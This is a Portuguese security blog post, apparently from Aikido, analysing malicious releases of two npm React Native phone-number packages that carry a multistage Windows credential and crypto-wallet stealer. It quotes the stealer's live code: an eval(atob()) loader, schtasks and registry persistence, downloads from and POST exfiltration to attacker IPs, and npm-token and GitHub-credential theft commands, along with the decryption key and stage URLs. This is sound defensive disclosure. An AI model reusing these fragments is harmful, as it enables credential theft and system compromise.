Aikido

Glassworm Atinge Pacotes Populares de Número de Telefone React Native

Escrito por
Raphael Silva

Lançamentos de 16 de março de 2026 adicionaram malware de pré-instalação ofuscado a pacotes do mesmo editor

Em 16 de março de 2026, dois pacotes npm React Native do AstrOOnauta foram comprometidos com um backdoor em um ataque coordenado à cadeia de suprimentos. Ambos os lançamentos adicionaram um carregador idêntico no momento da instalação que busca e executa um stealer de credenciais e criptomoedas multiestágio para Windows, acionado por nada mais do que uma rotina npm install. Os pacotes afetados são react-native-country-select@0.3.91 e react-native-international-phone-number@0.11.8.

Em ambos os casos, o código malicioso é introduzido através de um novo preinstall hook que é executado antes que uma instalação npm normal seja concluída, o que significa que desenvolvedores, CI runners e build agents podem acionar o malware apenas instalando o pacote.

Seguindo a mesma cadeia que o malware utiliza, recuperamos o artefato de estágio dois ativo e descriptografamos o payload subsequente. Esse payload mais profundo é um stealer de credenciais e criptomoedas focado em Windows, com persistência e a capacidade de entregar componentes adicionais.

Em 16 de março de 2026, a API de downloads do npm relatou 9.072 downloads na última semana para react-native-country-select e 20.691 para react-native-international-phone-number, totalizando 29.763 downloads semanais. No último mês, a mesma API relatou 42.589 e 92.298 downloads, respectivamente, totalizando 134.887 downloads mensais.

O Que Aconteceu

As versões adjacentes anteriores que verificamos, react-native-country-select@0.3.9 e react-native-international-phone-number@0.11.7, não incluem um preinstall hook e não distribuem o instalador malicioso. Os lançamentos de 16 de março de 2026 adicionam ambos.

A linha do tempo:

  • react-native-international-phone-number@0.11.8 foi publicado em 16 de março de 2026, às 10:49:29 UTC.  
  • react-native-country-select@0.3.91 foi publicado em 16 de março de 2026, às 10:54:18 UTC.  
  • As versões adjacentes anteriores para ambos os pacotes foram publicadas em 13 de março de 2026.

Esse padrão sugere uma janela de comprometimento no mesmo dia, afetando múltiplos pacotes do mesmo editor.

Como o Malware Funcionou

Passo 1: Execução em Tempo de Instalação

Ambos os lançamentos maliciosos adicionam o mesmo hook de ciclo de vida do pacote:

"scripts": {
    "preinstall": "node install.js"
}

O install.js arquivo é ofuscado, acessa infraestrutura externa, busca um payload de segunda fase e o executa dinamicamente.

O instalador original distribuído mostra a busca RPC do Solana diretamente:

let y = await fetch(S, {
    'method': e(0x45b, 'nSeb', 0x48f, 0x42b),
    'headers': M,
    'body': JSON[d(0x473, 'kjpv', 0x42d, 0x471)]({
        'jsonrpc': e(0x42c, ')qo^', 0x477, 0x425),
        'id': 0x1,
        'method': 'getSignatu' + e(0x441, 'PhAy', 0x42c, 0x45e) + d(0x4bb, '6bCJ', 0x4b3, 0x4d3),
        'params': [H[d(0x50d, '%Rah', 0x527, 0x4f7)](), t]
    })
});

Mais tarde no mesmo arquivo original, o instalador executa o payload buscado:

if (u?.[J(0x4ca, 'h(yv', 0x4ad, 0x49a)] == 0x14) {
    eval(atob(u));
    return;
}
if (h[w(0x6c8, 0x6c8, 'pw9N', 0x679)]() == J(0x4c1, 'WZok', 0x4f8, 0x543)) {
    let _iv = Buffer[J(0x4be, 'hcSr', 0x4b8, 0x4f9)](S, 'base64');
    eval(atob(u));
}

Esta é uma execução de código em estágios durante a instalação do pacote.

Passo 2: Verificação de Localidade Russa

O instalador não é executado cegamente em qualquer lugar. Ele inclui um filtro de ambiente explícito para sinais de idioma e fuso horário russos antes de prosseguir. No código original distribuído, ele verifica valores como ru_RU, ru-RU, Russo, e russo:

let n = [
  h['userInfo']()[k(-0xe4, 'nhpn', -0x109, -0xd4)],
  process[k(-0x10f, 'A0gN', -0xf6, -0x151)][B('Fhk]', 0x6cb, 0x636, 0x675)],
  process[B('uKoI', 0x5e9, 0x5b4, 0x5f0)]['LANGUAGE'],
  process[k(-0x100, 'aiAw', -0x139, -0x124)]['LC_ALL'],
  Intl[
    B('uxDz', 0x698, 0x5f4, 0x648) + k(-0x135, 'sDd5', -0xe9, -0x108)
  ]()[k(-0xdd, 'apC#', -0x98, -0xb0) + 'tions']()[k(-0xf9, '94Hn', -0xcb, -0xc5)]
][k(-0xf7, '8MCe', -0xa4, -0xc0)](
  u => u && /ru_RU|ru-RU|Russo|russo/i[B('hcSr', 0x666, 0x6a5, 0x654)](u)
);

O mesmo bloco também verifica nomes de fusos horários e offsets UTC associados à Rússia. Esse tipo de exclusão geográfica ou linguística é comum em malwares criminosos, especialmente aqueles provenientes da Rússia ou de agentes de ameaça de língua russa.

Passo 3: Recuperação de Memo Solana e Entrega da Segunda Etapa

Seguimos os mesmos passos que o malware:

  1. Extrair a conta Solana do instalador ofuscado.  
  2. Consultar o mesmo getSignaturesForAddress método RPC que o pacote utiliza.  
  3. Recuperar o memo da transação que contém um conteúdo codificado em base64 link.  
  4. Obter essa URL como conteúdo inerte e preservar os cabeçalhos de resposta HTTP.  
  5. Decodificar o corpo retornado e inspecionar a próxima camada estaticamente.  
  6. Usar os valores retornados secretkey e ivbase64 para descriptografar o payload incorporado sem executá-lo.

A resposta da segunda etapa obtida forneceu exatamente o material necessário para descriptografar a próxima camada:

secretkey: szfNmayz6fgt6ojbAuVhjEAOWMMxw7iS
ivbase64: ZMM7q5jBwUbsYFo7/8ZdxA==

A URL da segunda etapa recuperada era:

http://45[.]32[.]150[.]251/3e4Tg8V%2F8aCmOJKipASADg%3D%3D

E o corpo da segunda etapa obtido começa como outro script de descriptografia original:

var crypto=require("crypto"),d=crypto.createDecipheriv("aes-256-cbc",secretKey,_iv),b=d.update("e44249441ac275c58c208f8011873821...

Passo 4: A Terceira Etapa Recuperada Persiste e Busca Mais Componentes

O payload descriptografado por AES é a terceira etapa recuperada. É aqui que a cadeia se torna um stealer e downloader focado em Windows.

Ele estabelece persistência através de schtasks e a Execute chave de registro:

schtasks / create / tn "UpdateApp" / tr "powershell -ExecutionPolicy Bypass -File ${ps1Path}" / sc onstart / rl highest / f$rPath = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
$randomName = "DPKCbbQ"
$command = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ${ps1Path}"
New - ItemProperty - Path $rPath - Name $randomName - PropertyType String - Value $command - Force

Ele também escreve um ~\\init.json arquivo de estado e o reutiliza como um guarda de persistência e execução:

const duplicate = path.join(LnwdVr, 'init.json');
...
fs.writeFileSync(duplicate, JSON.stringify({
    init: true,
    update: null,
    date: new Date().getTime(),
    version: '2.27',
    uuid: data?.uuid ? data.uuid : makeid(14)
}));

Passo 5: A Terceira Etapa Usa o Google Calendar Como Uma Camada Adicional de Indireção

A URL do Google Calendar aparece mais tarde, dentro do JavaScript da terceira etapa recuperada, onde essa terceira etapa usa calendar.app.google para recuperar um slug codificado em base64 antes de solicitar outro script de 45[.]32[.]150[.]251.

Este é o código original:

QGrJayHbkY(atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlLzJOa3JjS0tqNFQ2RG40dUs2'), (err, link) => mzIcfsRBX(atob(link), mzIcfsRBXCall));
...
http.get('http://45.32.150.251' + slug, (res) => {

Então, em ordem, a cadeia é:

  1. npm preinstall executa install.js  
  2. install.js consulta o Solana RPC e busca a segunda etapa  
  3. A segunda etapa descriptografa e executa a terceira etapa  
  4. A terceira etapa entra em contato com o Google Calendar  
  5. A terceira etapa usa o slug recuperado para buscar conteúdo adicional de 45[.]32[.]150[.]251

Essa indireção é importante porque oferece aos operadores um ponto de controle flexível mais adiante na cadeia. Eles podem alterar o caminho downstream sem republicar o pacote npm, e o uso de uma URL de propriedade do Google pode ajudar a cadeia a se misturar ao tráfego normalmente legítimo.

Isso também é interessante em um contexto de pesquisa mais amplo. No ano passado, publicamos um artigo sobre a entrega de malware via convites do Google Calendar e PUAs, confira aqui para saber mais sobre o assunto: Você está convidado! Entrega de malware via convites do Google Calendar e PUAs.

Evidência

A evidência mais forte é que o loader introduzido em ambos os pacotes é byte-idêntico. O install.js arquivo em ambas as releases maliciosas possui SHA-256:

59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26

Os diffs de versão também são incomumente limpos. Para ambos os pacotes, o comportamento malicioso é introduzido pelas mesmas duas alterações:

  • uma nova install.js  
  • uma nova preinstall entrada em package.json

Para react-native-country-select, o salto malicioso é de 0.3.9 para 0.3.91.

Para react-native-international-phone-number, o salto malicioso é de 0.11.7 para 0.11.8.

Um detalhe torna o caso ainda mais interessante: react-native-international-phone-number@0.11.8 depende de react-native-country-select@0.3.9, que parece ser a versão adjacente limpa anterior, não a maliciosa 0.3.91. Isso sugere que o segundo pacote também foi diretamente 'backdoored' em vez de simplesmente herdar o problema de um 'dependency bump'.

O Que o Payload Recuperado Faz

A terceira fase recuperada é um stealer e downloader focado em Windows.

Uma coisa que subestimamos no primeiro rascunho é que o payload não apenas rouba alguns arquivos de carteira e para por aí. Ele também constrói seu próprio ambiente de execução, percorre caminhos de armazenamento relacionados ao navegador e prepara dados para coleta sob o perfil da vítima.

Ele então baixa componentes adicionais, descriptografa arquivos .node empacotados, os executa e exfiltra a coleção preparada:

http.get("http://45.32.150.251/get_arhive_npm/KQnO9LyllbN0ZfDWq8afrQ%3D%3D", (res) => {
...
childProcess.exec(`${path_node_g} -e "eval(atob('${_script}'))"`, (err, _2) => {
...
const options2 = {  hostname: "217.69.3.152",  port: 80,  path: "/wall",  method: "POST",

O mesmo payload contém lógica de direcionamento de carteiras para extensões de navegador e carteiras de desktop, incluindo MetaMask, Exodus, Atomic, Guarda, Coinomi, Daedalus, Braavos, OKX Wallet e Trust Wallet. Ele também rouba credenciais npm e GitHub:

const token = childProcess.execSync(`npm config get //${registry.replace(/^https?:\/\//, "")}:_authToken`).toString().trim();
...
const output = childProcess.execSync("git credential fill", {  input: "protocol=https\nhost=github.com\n\n",  encoding: "utf8"});

Neste ponto, o payload recuperado é uma cadeia completa de roubo de credenciais e carteiras.

Conclusões Adicionais

A terceira fase recuperada também baixa um runtime completo do Node.js de nodejs.org, tanto x86 quanto x64, em %APPDATA%\\_node_x86 e %APPDATA%\\_node_x64. Isso fornece ao malware um ambiente de execução confiável, mesmo que o Node.js não esteja presente no sistema da vítima:

const urlX86 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x86.zip";
const urlX64 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip";
const folderPathX86 = path.join(process.env.APPDATA, "_node_x86");
const folderPathX64 = path.join(process.env.APPDATA, "_node_x64");

O mesmo payload também percorre o armazenamento de perfis relacionados a navegadores. No JavaScript recuperado, ele procura por "User Data" e "Firefox" diretórios e, em seguida, copia o armazenamento de carteiras e extensões direcionadas dessas localizações após encerrar os processos do navegador:

var globalGBvJwwhfind = ["User Data", "Exodus", "atomic", "Electrum", "Guarda", "Coinomi", "Daedalus Mainnet", "Firefox"];
...
const out = childProcess.execSync(`tasklist /FI "IMAGENAME eq chrome.exe"`);
...
const firefox = childProcess.execSync(`tasklist /FI "IMAGENAME eq firefox.exe"`);
...
if (file.name.includes("Local Extension Settings") && depth < 3) {
    t.push(filePath);
}

Isso é consistente com o roubo de perfis de navegadores da família Chromium e caminhos relacionados ao Firefox. Podemos verificar diretamente o direcionamento de extensões de carteira a partir do script recuperado, pois ele contém identificadores de extensão para MetaMask, Phantom, Coinbase, Rabby, OKX Wallet, Braavos, Trust Wallet e muitos outros, além de caminhos de armazenamento de carteiras de desktop, como exodus.wallet, wallets, e Local Storage\\leveldb.

Conclusão

Este caso parece ser um evento coordenado de ataque à cadeia de suprimentos npm, afetando pelo menos dois pacotes React Native do mesmo editor no mesmo dia. O detalhe mais importante não é apenas que ambos os lançamentos são maliciosos, mas que foram modificados da mesma forma, com minutos de diferença um do outro, com o mesmo carregador (loader) em estágios.

Seguir a cadeia em estágios torna o impacto muito mais claro. O instalador não apenas envia beacons ou testa o ambiente. Ele leva a um payload Windows descriptografado que persiste, baixa mais componentes, rouba dados de carteira, rouba credenciais npm e GitHub e exfiltra arquivos coletados para infraestrutura controlada pelo atacante.

Indicadores de Comprometimento

Pacotes maliciosos:

  • react-native-country-select@0.3.91  
  • react-native-international-phone-number@0.11.8

Hash do loader compartilhado:

  • 59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26

Domínios relacionados:

  • socket[.]network  
  • n[.]xyz  
  • p[.]link  
  • 45[.]32[.]150[.]251  
  • 217[.]69[.]3[.]152  
  • calendar[.]app[.]google/2NkrcKKj4T6Dn4uK6

Detecção e Proteção

Se você já usa Aikido, esses pacotes seriam sinalizados em seu feed como uma descoberta crítica 100/100.

Ainda não usa Aikido? Crie uma conta gratuita e conecte seus repositórios. O plano gratuito inclui nossa cobertura de detecção de malware (não é necessário cartão de crédito).

Finalmente, uma ferramenta capaz de interromper malwares de supply-chain em tempo real, assim que surgem, pode prevenir uma infecção grave. Esta é a ideia por trás do Aikido Safe Chain, uma ferramenta gratuita e de código aberto que se integra a npm, npx, yarn, pnpm e pnpx, e utiliza tanto IA quanto pesquisadores humanos de malware para detectar e bloquear os mais recentes riscos de supply chain antes que entrem no seu ambiente.

Compartilhar:

https://www.aikido.dev/blog/glassworm-strikes-react-packages-phone-numbers

Assine para receber notícias sobre ameaças.

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.